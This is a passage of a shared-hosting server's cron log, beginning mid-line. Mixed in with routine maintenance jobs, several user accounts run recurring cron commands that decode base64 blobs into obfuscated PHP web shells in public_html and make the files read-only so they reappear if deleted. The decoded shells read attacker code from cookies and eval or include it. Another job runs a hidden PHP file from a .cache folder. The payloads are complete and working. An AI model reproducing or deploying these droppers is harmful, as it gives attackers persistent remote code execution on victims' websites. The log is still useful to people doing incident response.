l0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:57:01 medusa CROND[3850]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:57:01 medusa CROND[3856]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:57:01 medusa CROND[3864]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:57:01 medusa CROND[3870]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:57:01 medusa CROND[3869]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:58:01 medusa CROND[21701]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:58:01 medusa CROND[21702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:58:01 medusa CROND[21703]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:58:01 medusa CROND[21704]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:58:01 medusa CROND[21705]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:58:01 medusa CROND[21706]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:58:01 medusa CROND[21711]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:58:01 medusa CROND[21712]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:58:01 medusa CROND[21715]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:58:01 medusa CROND[21717]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:58:01 medusa CROND[21722]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:58:01 medusa CROND[21718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:58:01 medusa CROND[21714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 14:58:01 medusa CROND[21725]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:59:01 medusa CROND[5780]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:59:01 medusa CROND[5781]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:59:01 medusa CROND[5783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:59:01 medusa CROND[5784]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:59:01 medusa CROND[5792]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:59:01 medusa CROND[5793]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:59:01 medusa CROND[5794]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:59:01 medusa CROND[5803]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:59:01 medusa CROND[5804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:59:01 medusa CROND[5805]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
